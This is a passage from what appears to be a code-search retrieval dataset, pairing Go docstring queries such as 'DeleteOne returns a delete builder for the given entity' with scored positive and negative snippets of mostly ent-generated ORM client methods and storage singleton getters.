"score": "0.47772685", "text": "func (c *command) abort() {\n\tsig := syscall.Signal(c.config.AbortSignal)\n\tif sig <= 0 || sig >= 32 {\n\t\tsig = syscall.SIGKILL\n\t}\n\tsyscall.Kill(c.cmd.Process.Pid, sig)\n\tif sig != syscall.SIGKILL {\n\t\tgo func() {\n\t\t\tt := time.NewTimer(5 * time.Second)\n\t\t\tselect {\n\t\t\tcase <-t.C:\n\t\t\t\tsyscall.Kill(c.cmd.Process.Pid, syscall.SIGKILL)\n\t\t\tcase <-c.exited:\n\t\t\t\tt.Stop()\n\t\t\t}\n\t\t}()\n\t}\n}", "title": "" }, { "docid": "8f486e89c37e87409b3be49f29b460c7", "score": "0.47618747", "text": "func (client Client) Cancel() {\n\tclient.do(\"http://localhost:13381/cancel\")\n}", "title": "" }, { "docid": "a6f1b0e80567e9c9c6256946b91fb45d", "score": "0.47523355", "text": "func (e PrevRequestValidationError) Reason() string { return e.reason }", "title": "" } ]
66fae798c580e25792fba4ad6954765b
DeleteOne returns a delete builder for the given entity.
[ { "docid": "fec29d9dadfa0eb79fcfbbb3f2022eb8", "score": "0.6029414", "text": "func (c *DistanceClient) DeleteOne(d *Distance) *DistanceDeleteOne {\n\treturn c.DeleteOneID(d.ID)\n}", "title": "" } ]
[ { "docid": "4fddc8f65c18acfc35bd555488338032", "score": "0.70122045", "text": "func (c *EntityClient) DeleteOne(e *Entity) *EntityDeleteOne {\n\treturn c.DeleteOneID(e.ID)\n}", "title": "" }, { "docid": "17747be8f156af9127057846e0487fed", "score": "0.68324083", "text": "func (c *DeviceRequestClient) DeleteOne(dr *DeviceRequest) *DeviceRequestDeleteOne {\n\treturn c.DeleteOneID(dr.ID)\n}", "title": "" }, { "docid": "b3938132522accfcbf8f56c6bd6b7600", "score": "0.6818686", "text": "func (c *DevicePlatformClient) DeleteOne(dp *DevicePlatform) *DevicePlatformDeleteOne {\n\treturn c.DeleteOneID(dp.ID)\n}", "title": "" }, { "docid": "0c578b242257da1fb496208ac1eefad5", "score": "0.6709248", "text": "func (c *DeviceClient) DeleteOne(d *Device) *DeviceDeleteOne {\n\treturn c.DeleteOneID(d.ID)\n}", "title": "" }, { "docid": "0c578b242257da1fb496208ac1eefad5", "score": "0.6709248", "text": "func (c *DeviceClient) DeleteOne(d *Device) *DeviceDeleteOne {\n\treturn c.DeleteOneID(d.ID)\n}", "title": "" }, { "docid": "0c578b242257da1fb496208ac1eefad5", "score": "0.6709248", "text": "func (c *DeviceClient) DeleteOne(d *Device) *DeviceDeleteOne {\n\treturn c.DeleteOneID(d.ID)\n}", "title": "" }, { "docid": "80eadf7ac2ac9aafee4a1c229b31a061", "score": "0.6636399", "text": "func (d *DB) DeleteOne(col string) *Delete {\n\treturn initDelete(d.db, col, types.One, d.config)\n}", "title": "" }, { "docid": "c0e406dcfa467b9dc815086b3df4a797", "score": "0.6591665", "text": "func (c *TodoClient) DeleteOne(t *Todo) *TodoDeleteOne {\n\treturn c.DeleteOneID(t.ID)\n}", "title": "" }, { "docid": "bfd6470da5f278715fea35d224e407c9", "score": "0.6536205", "text": "func (c *DatumClient) DeleteOne(d *Datum) *DatumDeleteOne {\n\treturn c.DeleteOneID(d.ID)\n}", "title": "" }, { "docid": "c878aa6b1f5b845a3b2c8f8ccbc958d5", "score": "0.64821863", "text": "func (c *DeviceTokenClient) DeleteOne(dt *DeviceToken) *DeviceTokenDeleteOne {\n\treturn c.DeleteOneID(dt.ID)\n}", "title": "" }, { "docid": "58a14322e70901f04ff819e0eef70919", "score": "0.64812267", "text": "func (c *HogeClient) DeleteOne(h *Hoge) *HogeDeleteOne {\n\treturn c.DeleteOneID(h.ID)\n}", "title": "" }, { "docid": "1731aa7e3caee0257f5beae9ac82ff87", "score": "0.64722836", "text": "func (c *DeviceTypeClient) DeleteOne(dt *DeviceType) *DeviceTypeDeleteOne {\n\treturn c.DeleteOneID(dt.ID)\n}", "title": "" }, { "docid": "185ec9500d2174ddc6849ae880d9140a", "score": "0.6450514", "text": "func (c *OSContextClient) DeleteOne(oc *OSContext) *OSContextDeleteOne {\n\treturn c.DeleteOneID(oc.ID)\n}", "title": "" }, { "docid": "b028b73b216eeed879ae3f631bea65b7", "score": "0.6415797", "text": "func (c *EntityClient) DeleteOneID(id int) *EntityDeleteOne {\n\tbuilder := c.Delete().Where(entity.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &EntityDeleteOne{builder}\n}", "title": "" }, { "docid": "cb0ad4e55b8887a8690cf5bb9249f026", "score": "0.6408302", "text": "func (c *GithubRepositoryClient) DeleteOne(gr *GithubRepository) *GithubRepositoryDeleteOne {\n\treturn c.DeleteOneID(gr.ID)\n}", "title": "" }, { "docid": "373c5ee74859cf1e41b6faab95e75c83", "score": "0.6403396", "text": "func (c *ActionClient) DeleteOne(a *Action) *ActionDeleteOne {\n\treturn c.DeleteOneID(a.ID)\n}", "title": "" }, { "docid": "5dd918526b0043126038bb0499a68c65", "score": "0.6398103", "text": "func (c *AdminClient) DeleteOne(a *Admin) *AdminDeleteOne {\n\treturn c.DeleteOneID(a.ID)\n}", "title": "" }, { "docid": "04f1bf2ac99c6329483c074396f1355d", "score": "0.6387197", "text": "func (c *TypeDiseaseClient) DeleteOne(td *TypeDisease) *TypeDiseaseDeleteOne {\n\treturn c.DeleteOneID(td.ID)\n}", "title": "" }, { "docid": "5bccecd0983fb6db3b29d95ef188e342", "score": "0.63871324", "text": "func (c *TradeConditionClient) DeleteOne(tc *TradeCondition) *TradeConditionDeleteOne {\n\treturn c.DeleteOneID(tc.ID)\n}", "title": "" }, { "docid": "9e15037f86743a93c6b8a87a1b05936e", "score": "0.6384053", "text": "func (c *FooClient) DeleteOne(f *Foo) *FooDeleteOne {\n\treturn c.DeleteOneID(f.ID)\n}", "title": "" }, { "docid": "e7e3c91b5eb8681fbfe6cb0b0c9d7a63", "score": "0.63781434", "text": "func (c *ExtraClient) DeleteOne(e *Extra) *ExtraDeleteOne {\n\treturn c.DeleteOneID(e.ID)\n}", "title": "" }, { "docid": "589cb83ba3d52a0dce2c9bd835e7de88", "score": "0.636886", "text": "func (c *UrgentClient) DeleteOne(u *Urgent) *UrgentDeleteOne {\n\treturn c.DeleteOneID(u.ID)\n}", "title": "" }, { "docid": "bf6f0c4b5c1a79cb2a4a8b15bb82d2f1", "score": "0.63654643", "text": "func (c *PatientClient) DeleteOne(pa *Patient) *PatientDeleteOne {\n\treturn c.DeleteOneID(pa.ID)\n}", "title": "" }, { "docid": "ad930c9d621e4b327b7cc0f36b72def1", "score": "0.6362657", "text": "func (c *PostClient) DeleteOne(po *Post) *PostDeleteOne {\n\treturn c.DeleteOneID(po.ID)\n}", "title": "" }, { "docid": "569251c2bc2181ad464d0e99d6f0fd33", "score": "0.6343386", "text": "func (c *DiseaseClient) DeleteOne(d *Disease) *DiseaseDeleteOne {\n\treturn c.DeleteOneID(d.ID)\n}", "title": "" }, { "docid": "a9deac4a6e22c15806c2b84f01f23329", "score": "0.6336179", "text": "func (c *EventClient) DeleteOne(e *Event) *EventDeleteOne {\n\treturn c.DeleteOneID(e.ID)\n}", "title": "" }, { "docid": "c5ad12c56185fd8b073f5397ae8f8555", "score": "0.6329115", "text": "func (c *AdministratorClient) DeleteOne(a *Administrator) *AdministratorDeleteOne {\n\treturn c.DeleteOneID(a.ID)\n}", "title": "" }, { "docid": "a41a59fc9fa7e9a57bb73adf93ad8b68", "score": "0.63169825", "text": "func (c *ProjectClient) DeleteOne(pr *Project) *ProjectDeleteOne {\n\treturn c.DeleteOneID(pr.ID)\n}", "title": "" }, { "docid": "2184d5abd026d17e27ec64b4967ade84", "score": "0.63033986", "text": "func (c *DividendClient) DeleteOne(d *Dividend) *DividendDeleteOne {\n\treturn c.DeleteOneID(d.ID)\n}", "title": "" }, { "docid": "aa68b262b71f9da20861df66303ae36e", "score": "0.629463", "text": "func (c *BrowserClient) DeleteOne(b *Browser) *BrowserDeleteOne {\n\treturn c.DeleteOneID(b.ID)\n}", "title": "" }, { "docid": "b9d0987bfe519fbec0c1a3f2fb4873ef", "score": "0.62937224", "text": "func (c *AmbulanceClient) DeleteOne(a *Ambulance) *AmbulanceDeleteOne {\n\treturn c.DeleteOneID(a.ID)\n}", "title": "" }, { "docid": "1f01a1aca598f00f8087ef6ab6d595c7", "score": "0.62863207", "text": "func (c *PhysicianClient) DeleteOne(ph *Physician) *PhysicianDeleteOne {\n\treturn c.DeleteOneID(ph.ID)\n}", "title": "" }, { "docid": "37a430a2d845aadafd7f45efd13b9ab2", "score": "0.6280742", "text": "func (c *PageClient) DeleteOne(pa *Page) *PageDeleteOne {\n\treturn c.DeleteOneID(pa.ID)\n}", "title": "" }, { "docid": "5108ead7b73dcfe8f27799671d54cbe6", "score": "0.62773454", "text": "func (c *GithubEventClient) DeleteOne(ge *GithubEvent) *GithubEventDeleteOne {\n\treturn c.DeleteOneID(ge.ID)\n}", "title": "" }, { "docid": "318d5db8ccdd8d5eaa2fb54fb997eb83", "score": "0.6272075", "text": "func (c *DeliverClient) DeleteOne(d *Deliver) *DeliverDeleteOne {\n\treturn c.DeleteOneID(d.ID)\n}", "title": "" }, { "docid": "82032582378f22ac2481cdaa85732b44", "score": "0.62669224", "text": "func (c *HospitalClient) DeleteOne(h *Hospital) *HospitalDeleteOne {\n\treturn c.DeleteOneID(h.ID)\n}", "title": "" }, { "docid": "55e2cbd0d0bbfb0be96bce5bdb330801", "score": "0.6266695", "text": "func (c *DeviceRequestClient) DeleteOneID(id int) *DeviceRequestDeleteOne {\n\tbuilder := c.Delete().Where(devicerequest.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &DeviceRequestDeleteOne{builder}\n}", "title": "" }, { "docid": "838e8c07533dc892a12809b704a9670e", "score": "0.6235509", "text": "func (c *ToolClient) DeleteOne(t *Tool) *ToolDeleteOne {\n\treturn c.DeleteOneID(t.ID)\n}", "title": "" }, { "docid": "f461c424f83fbcb85f465ee4d21d6a23", "score": "0.6228761", "text": "func (c *ActionClient) DeleteOneID(id int) *ActionDeleteOne {\n\tbuilder := c.Delete().Where(action.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &ActionDeleteOne{builder}\n}", "title": "" }, { "docid": "df75749eda3b2ff6d49d2454ed433015", "score": "0.6222045", "text": "func (c *TagClient) DeleteOne(t *Tag) *TagDeleteOne {\n\treturn c.DeleteOneID(t.ID)\n}", "title": "" }, { "docid": "df75749eda3b2ff6d49d2454ed433015", "score": "0.6222045", "text": "func (c *TagClient) DeleteOne(t *Tag) *TagDeleteOne {\n\treturn c.DeleteOneID(t.ID)\n}", "title": "" }, { "docid": "0249b39bae49fe0e537f0a72b32a92ee", "score": "0.6219752", "text": "func (c *KeysClient) DeleteOne(k *Keys) *KeysDeleteOne {\n\treturn c.DeleteOneID(k.ID)\n}", "title": "" }, { "docid": "05ee69cd91fa9cf557f77f5947c472fa", "score": "0.6197039", "text": "func (c *ExchangeClient) DeleteOne(e *Exchange) *ExchangeDeleteOne {\n\treturn c.DeleteOneID(e.ID)\n}", "title": "" }, { "docid": "90aab79f389e4e4e6a8ed41db038b58c", "score": "0.61854374", "text": "func (c *GameClient) DeleteOne(ga *Game) *GameDeleteOne {\n\treturn c.DeleteOneID(ga.ID)\n}", "title": "" }, { "docid": "1c6f0aed0d9cc4c80c6d7f530f502ebb", "score": "0.61817175", "text": "func (c *TradeConditionClient) DeleteOneID(id int) *TradeConditionDeleteOne {\n\tbuilder := c.Delete().Where(tradecondition.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &TradeConditionDeleteOne{builder}\n}", "title": "" }, { "docid": "f73764f011dfaee07db52ab95f6fa478", "score": "0.6180191", "text": "func (c *KeysClient) DeleteOneID(id string) *KeysDeleteOne {\n\tbuilder := c.Delete().Where(keys.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &KeysDeleteOne{builder}\n}", "title": "" }, { "docid": "25946c5c6ce05a9ab0823fe824978db1", "score": "0.6175106", "text": "func (c *AuthRequestClient) DeleteOneID(id string) *AuthRequestDeleteOne {\n\tbuilder := c.Delete().Where(authrequest.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &AuthRequestDeleteOne{builder}\n}", "title": "" }, { "docid": "786ac148de3a74eea83adbf6702a3962", "score": "0.617503", "text": "func (c *PostClient) DeleteOneID(id int) *PostDeleteOne {\n\tbuilder := c.Delete().Where(post.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &PostDeleteOne{builder}\n}", "title": "" }, { "docid": "6636c9c1a74394a9588ae48544f074f2", "score": "0.61745644", "text": "func (c *TypeDiseaseClient) DeleteOneID(id int) *TypeDiseaseDeleteOne {\n\tbuilder := c.Delete().Where(typedisease.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &TypeDiseaseDeleteOne{builder}\n}", "title": "" }, { "docid": "fed7754b86357799910d73655170cc21", "score": "0.61682075", "text": "func (c *AliasClient) DeleteOne(a *Alias) *AliasDeleteOne {\n\treturn c.DeleteOneID(a.ID)\n}", "title": "" }, { "docid": "89245b08ddf0860b4811a3ffab179acc", "score": "0.61573577", "text": "func (c *DataSourceClient) DeleteOne(ds *DataSource) *DataSourceDeleteOne {\n\treturn c.DeleteOneID(ds.ID)\n}", "title": "" }, { "docid": "051af1ab23f2289fb45f4ff0d3a0ba0b", "score": "0.61511844", "text": "func (db *HabitsDB) DeleteOne(filter bson.D) (*mongo.DeleteResult, error) {\n\treturn db.Habits.DeleteOne(context.TODO(), filter)\n}", "title": "" }, { "docid": "82d7ecbc0131243288d94ed1dc69d389", "score": "0.61391276", "text": "func (c *AmbulanceClient) DeleteOneID(id int) *AmbulanceDeleteOne {\n\tbuilder := c.Delete().Where(ambulance.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &AmbulanceDeleteOne{builder}\n}", "title": "" }, { "docid": "92feeeadede73106dfe1b208e1852ed3", "score": "0.6136323", "text": "func (c *DeviceClient) DeleteOneID(id int) *DeviceDeleteOne {\n\tbuilder := c.Delete().Where(device.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &DeviceDeleteOne{builder}\n}", "title": "" }, { "docid": "8fc498ce555d4b115e4404212966eb68", "score": "0.61356515", "text": "func (c *DatumClient) DeleteOneID(id string) *DatumDeleteOne {\n\tbuilder := c.Delete().Where(datum.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &DatumDeleteOne{builder}\n}", "title": "" }, { "docid": "7571b651ff66caad1d0a54db4c1877c3", "score": "0.61348855", "text": "func (c *ToolClient) DeleteOneID(id int) *ToolDeleteOne {\n\tbuilder := c.Delete().Where(tool.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &ToolDeleteOne{builder}\n}", "title": "" }, { "docid": "e71221f94fbff978e1bbfaf616cb1ad5", "score": "0.6133434", "text": "func (c *TradeRecordClient) DeleteOne(tr *TradeRecord) *TradeRecordDeleteOne {\n\treturn c.DeleteOneID(tr.ID)\n}", "title": "" }, { "docid": "4539ca75c1d90bb1baaccdf27d450f20", "score": "0.6127451", "text": "func (c *AppClient) DeleteOne(a *App) *AppDeleteOne {\n\treturn c.DeleteOneID(a.ID)\n}", "title": "" }, { "docid": "19ff53db7e91668329cd4f0df75c8690", "score": "0.6119809", "text": "func (c *DeviceClient) DeleteOneID(id string) *DeviceDeleteOne {\n\tbuilder := c.Delete().Where(device.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &DeviceDeleteOne{builder}\n}", "title": "" }, { "docid": "528b2735215d74bececbafcf927c561d", "score": "0.61197084", "text": "func (c *DevicePlatformClient) DeleteOneID(id int) *DevicePlatformDeleteOne {\n\tbuilder := c.Delete().Where(deviceplatform.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &DevicePlatformDeleteOne{builder}\n}", "title": "" }, { "docid": "702fd8e35d4f6a6edcdc386ca95c7ce5", "score": "0.6117975", "text": "func (c *ParticipationClient) DeleteOne(pa *Participation) *ParticipationDeleteOne {\n\treturn c.DeleteOneID(pa.ID)\n}", "title": "" }, { "docid": "64f58a746bf93dbd12ccbd1586ec1af8", "score": "0.6117628", "text": "func (c *DeliverClient) DeleteOneID(id int) *DeliverDeleteOne {\n\tbuilder := c.Delete().Where(deliver.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &DeliverDeleteOne{builder}\n}", "title": "" }, { "docid": "59dd923e93466b15bb9f43815fae5ec3", "score": "0.61139894", "text": "func (c *TradeRecordClient) DeleteOneID(id int) *TradeRecordDeleteOne {\n\tbuilder := c.Delete().Where(traderecord.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &TradeRecordDeleteOne{builder}\n}", "title": "" }, { "docid": "396c3a900b36f6ea6b5477aea059a7ea", "score": "0.611266", "text": "func (c *PurposeClient) DeleteOne(pu *Purpose) *PurposeDeleteOne {\n\treturn c.DeleteOneID(pu.ID)\n}", "title": "" }, { "docid": "396c3a900b36f6ea6b5477aea059a7ea", "score": "0.611266", "text": "func (c *PurposeClient) DeleteOne(pu *Purpose) *PurposeDeleteOne {\n\treturn c.DeleteOneID(pu.ID)\n}", "title": "" }, { "docid": "41431fddee89de1445a41dda1b17bd6f", "score": "0.61121225", "text": "func (c *FooClient) DeleteOneID(id int) *FooDeleteOne {\n\tbuilder := c.Delete().Where(foo.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &FooDeleteOne{builder}\n}", "title": "" }, { "docid": "0e6f972b9b4bcd55502c0bdcac4e2d53", "score": "0.61117435", "text": "func (c *OSContextClient) DeleteOneID(id int) *OSContextDeleteOne {\n\tbuilder := c.Delete().Where(oscontext.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &OSContextDeleteOne{builder}\n}", "title": "" }, { "docid": "a15dba104148eac7e44ac56dc1530955", "score": "0.6106594", "text": "func (c *AuthRequestClient) DeleteOne(ar *AuthRequest) *AuthRequestDeleteOne {\n\treturn c.DeleteOneID(ar.ID)\n}", "title": "" }, { "docid": "01fc2b2376480c117b8372cafedf2b47", "score": "0.6104572", "text": "func (c *ExchangeClient) DeleteOneID(id int) *ExchangeDeleteOne {\n\tbuilder := c.Delete().Where(exchange.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &ExchangeDeleteOne{builder}\n}", "title": "" }, { "docid": "42bab951b50bc2323e20afaa89f71b04", "score": "0.61015093", "text": "func (c *DeviceClient) DeleteOneID(id int) *DeviceDeleteOne {\n\treturn &DeviceDeleteOne{c.Delete().Where(device.ID(id))}\n}", "title": "" }, { "docid": "017b2cb2464c8ac4dea3b7d6a4bb973d", "score": "0.60982335", "text": "func (c *GroupClient) DeleteOne(gr *Group) *GroupDeleteOne {\n\treturn c.DeleteOneID(gr.ID)\n}", "title": "" }, { "docid": "03d18b200863c07cabcce9b784148c01", "score": "0.60936314", "text": "func (c *PhysicianClient) DeleteOneID(id int) *PhysicianDeleteOne {\n\tbuilder := c.Delete().Where(physician.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &PhysicianDeleteOne{builder}\n}", "title": "" }, { "docid": "7ea52be57dc695a484a2b43588c16518", "score": "0.6092966", "text": "func (c *DiseaseClient) DeleteOneID(id int) *DiseaseDeleteOne {\n\tbuilder := c.Delete().Where(disease.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &DiseaseDeleteOne{builder}\n}", "title": "" }, { "docid": "7e97745723eaf563bedd017e828f0b60", "score": "0.60891813", "text": "func (c *GithubGistClient) DeleteOne(gg *GithubGist) *GithubGistDeleteOne {\n\treturn c.DeleteOneID(gg.ID)\n}", "title": "" }, { "docid": "033d6a151d31cb8ec540eefee39fc00a", "score": "0.60864836", "text": "func (c *MedicalCareClient) DeleteOne(mc *MedicalCare) *MedicalCareDeleteOne {\n\treturn c.DeleteOneID(mc.ID)\n}", "title": "" }, { "docid": "57bca41698f80373681a43d08fe33e9f", "score": "0.60855925", "text": "func (c *AnswerClient) DeleteOne(a *Answer) *AnswerDeleteOne {\n\treturn c.DeleteOneID(a.ID)\n}", "title": "" }, { "docid": "77263b670b9ea1ba156a3919dfcfc164", "score": "0.6084759", "text": "func (c *AdminClient) DeleteOneID(id string) *AdminDeleteOne {\n\tbuilder := c.Delete().Where(admin.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &AdminDeleteOne{builder}\n}", "title": "" }, { "docid": "6bcae8d074b46ec555c1a0c5a4b9f34a", "score": "0.6083663", "text": "func (c *BrowserClient) DeleteOneID(id int) *BrowserDeleteOne {\n\tbuilder := c.Delete().Where(browser.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &BrowserDeleteOne{builder}\n}", "title": "" }, { "docid": "de3d5063ec25e53fff2fa0360ca80755", "score": "0.60784143", "text": "func (c *PortChannelInterfaceClient) DeleteOne(pci *PortChannelInterface) *PortChannelInterfaceDeleteOne {\n\treturn c.DeleteOneID(pci.ID)\n}", "title": "" }, { "docid": "b33657a8e1137adb8065ed3a91b87c12", "score": "0.6072295", "text": "func (c *DeviceTypeClient) DeleteOneID(id int) *DeviceTypeDeleteOne {\n\tbuilder := c.Delete().Where(devicetype.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &DeviceTypeDeleteOne{builder}\n}", "title": "" }, { "docid": "85c87217b2038b8f7544aa531a882063", "score": "0.6070957", "text": "func (c *HogeClient) DeleteOneID(id string) *HogeDeleteOne {\n\tbuilder := c.Delete().Where(hoge.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &HogeDeleteOne{builder}\n}", "title": "" }, { "docid": "e143e28f57cb0e49ed35948d8410bd93", "score": "0.6069709", "text": "func Delete(table string) *DeleteBuilder { return &DeleteBuilder{table: table} }", "title": "" }, { "docid": "24616f92a8139584824fe8ec61e2a229", "score": "0.60669166", "text": "func (c *UrgentClient) DeleteOneID(id int) *UrgentDeleteOne {\n\tbuilder := c.Delete().Where(urgent.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &UrgentDeleteOne{builder}\n}", "title": "" }, { "docid": "eeb1bdb9dede7408c5855241d60f6c30", "score": "0.6064004", "text": "func (c *OAuth2ClientClient) DeleteOneID(id string) *OAuth2ClientDeleteOne {\n\tbuilder := c.Delete().Where(oauth2client.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &OAuth2ClientDeleteOne{builder}\n}", "title": "" }, { "docid": "9b54fff693175c84859d52a15962c428", "score": "0.6062106", "text": "func (c *BookClient) DeleteOne(b *Book) *BookDeleteOne {\n\treturn c.DeleteOneID(b.ID)\n}", "title": "" }, { "docid": "ede84b3c145410ae8c2976a17d7d49b1", "score": "0.6056044", "text": "func (c *ExtraClient) DeleteOneID(id int) *ExtraDeleteOne {\n\tbuilder := c.Delete().Where(extra.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &ExtraDeleteOne{builder}\n}", "title": "" }, { "docid": "427f0879d3b534ae51169023b70516d8", "score": "0.6048037", "text": "func (c *TimingClient) DeleteOneID(id int) *TimingDeleteOne {\n\tbuilder := c.Delete().Where(timing.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &TimingDeleteOne{builder}\n}", "title": "" }, { "docid": "1f2ad354f0b9907e07d507a600731106", "score": "0.6047376", "text": "func (c *TimingClient) DeleteOne(t *Timing) *TimingDeleteOne {\n\treturn c.DeleteOneID(t.ID)\n}", "title": "" }, { "docid": "0a82d0547f09ad1ae8a5d63410db8fdd", "score": "0.6046135", "text": "func (ps *MockInvoiceService) DeleteOne(p *mrequest.InvoiceDelete) (*mresponse.Invoice, *mresponse.ErrorResponse) {\n\t// TODO: implement in the future\n\treturn nil, nil\n}", "title": "" }, { "docid": "7e4ee295d4cea3b5cb4fbc8034813964", "score": "0.604421", "text": "func (c *TransportClient) DeleteOneID(id int) *TransportDeleteOne {\n\tbuilder := c.Delete().Where(transport.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &TransportDeleteOne{builder}\n}", "title": "" }, { "docid": "8368405d834a3ca2d81aaed64f92b490", "score": "0.6039409", "text": "func (c *TweetClient) DeleteOne(t *Tweet) *TweetDeleteOne {\n\treturn c.DeleteOneID(t.ID)\n}", "title": "" }, { "docid": "b207b3ec908dca349cff1f554f3a624d", "score": "0.603682", "text": "func (c *AppClient) DeleteOneID(id int) *AppDeleteOne {\n\tbuilder := c.Delete().Where(app.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &AppDeleteOne{builder}\n}", "title": "" }, { "docid": "da056cba54728dbec4cae67fd90da1ea", "score": "0.60360396", "text": "func (c *AdministratorClient) DeleteOneID(id int) *AdministratorDeleteOne {\n\tbuilder := c.Delete().Where(administrator.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &AdministratorDeleteOne{builder}\n}", "title": "" }, { "docid": "d5a92c8a8c7ed024f1673a10a1a0a017", "score": "0.6024241", "text": "func (c *DividendClient) DeleteOneID(id int) *DividendDeleteOne {\n\tbuilder := c.Delete().Where(dividend.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &DividendDeleteOne{builder}\n}", "title": "" }, { "docid": "c094676ac4d0a24541929013e3feb9c9", "score": "0.601422", "text": "func (s *Service) FindOneAndDelete(ctx context.Context, kvID string, domain string, project string) (*model.KVDoc, error) {\n\tctx, _ = context.WithTimeout(context.Background(), session.Timeout)\n\treturn findOneKVAndDelete(ctx, kvID, project, domain)\n}", "title": "" }, { "docid": "be7cf888d691d81da21f6acdb7b0e061", "score": "0.6013363", "text": "func (c *PurposeClient) DeleteOneID(id int) *PurposeDeleteOne {\n\tbuilder := c.Delete().Where(purpose.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &PurposeDeleteOne{builder}\n}", "title": "" }, { "docid": "be7cf888d691d81da21f6acdb7b0e061", "score": "0.6013363", "text": "func (c *PurposeClient) DeleteOneID(id int) *PurposeDeleteOne {\n\tbuilder := c.Delete().Where(purpose.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &PurposeDeleteOne{builder}\n}", "title": "" }, { "docid": "8f7ebc716e9434a72fa554f7b1dd5e94", "score": "0.6012902", "text": "func (c *BarRecordClient) DeleteOne(br *BarRecord) *BarRecordDeleteOne {\n\treturn c.DeleteOneID(br.ID)\n}", "title": "" }, { "docid": "f58a8ae8ca0d0ad273e7f77ed38db0f0", "score": "0.6009803", "text": "func (c *EmployeeClient) DeleteOne(e *Employee) *EmployeeDeleteOne {\n\treturn c.DeleteOneID(e.ID)\n}", "title": "" }, { "docid": "1b1442734fd65750fe3f3021fb4d11ea", "score": "0.6006361", "text": "func (c *HospitalClient) DeleteOneID(id int) *HospitalDeleteOne {\n\tbuilder := c.Delete().Where(hospital.ID(id))\n\tbuilder.mutation.id = &id\n\tbuilder.mutation.op = OpDeleteOne\n\treturn &HospitalDeleteOne{builder}\n}", "title": "" } ]
84f53ca2da7b1db5ec891d3af9262cd1
GetStorageInstance returns attack model by using singleton pattern.
[ { "docid": "9be4e27772ff42731d453b2bdca683e0", "score": "0.684805", "text": "func GetStorageInstance(ip, port string, remove bool) *Storage {\n\tonce.Do(func() {\n\t\tstorage = &Storage{}\n\t\tstorage.Init(ip, port, remove)\n\t})\n\treturn storage\n}", "title": "" } ]
[ { "docid": "77ea830f8adc944ddc7ab8e7b61a67fd", "score": "0.7903078", "text": "func GetInstance() Storage { return instance }", "title": "" }, { "docid": "035ae5b5757f186f3132ac6e7ec0d8e6", "score": "0.6821031", "text": "func GetStorageInstance(ip, port string, remove bool) *Storage {\n\tonceMetrics.Do(func() {\n\t\tstorage = &Storage{}\n\t\tstorage.Init(ip, port, remove)\n\t})\n\treturn storage\n}", "title": "" }, { "docid": "1ff5144e26cddd44bfd352cf61a3a120", "score": "0.6115855", "text": "func storageInstance() storage.Driver {\n\tif storageDriver == nil {\n\t\tif promURL != \"\" {\n\t\t\tstorageDriver = storage.NewPrometheusDriver(promURL, map[string]string{})\n\t\t} else if auth.IdentityEndpoint != \"\" {\n\t\t\t// authenticate and set maiaURL if missing\n\t\t\tfetchToken()\n\t\t\tstorageDriver = storage.NewPrometheusDriver(maiaURL, map[string]string{\"X-Auth-Token\": auth.TokenID})\n\t\t} else {\n\t\t\tpanic(fmt.Errorf(\"Either --os-auth-url or --prometheus-url need to be specified\"))\n\t\t}\n\t}\n\n\treturn storageDriver\n}", "title": "" }, { "docid": 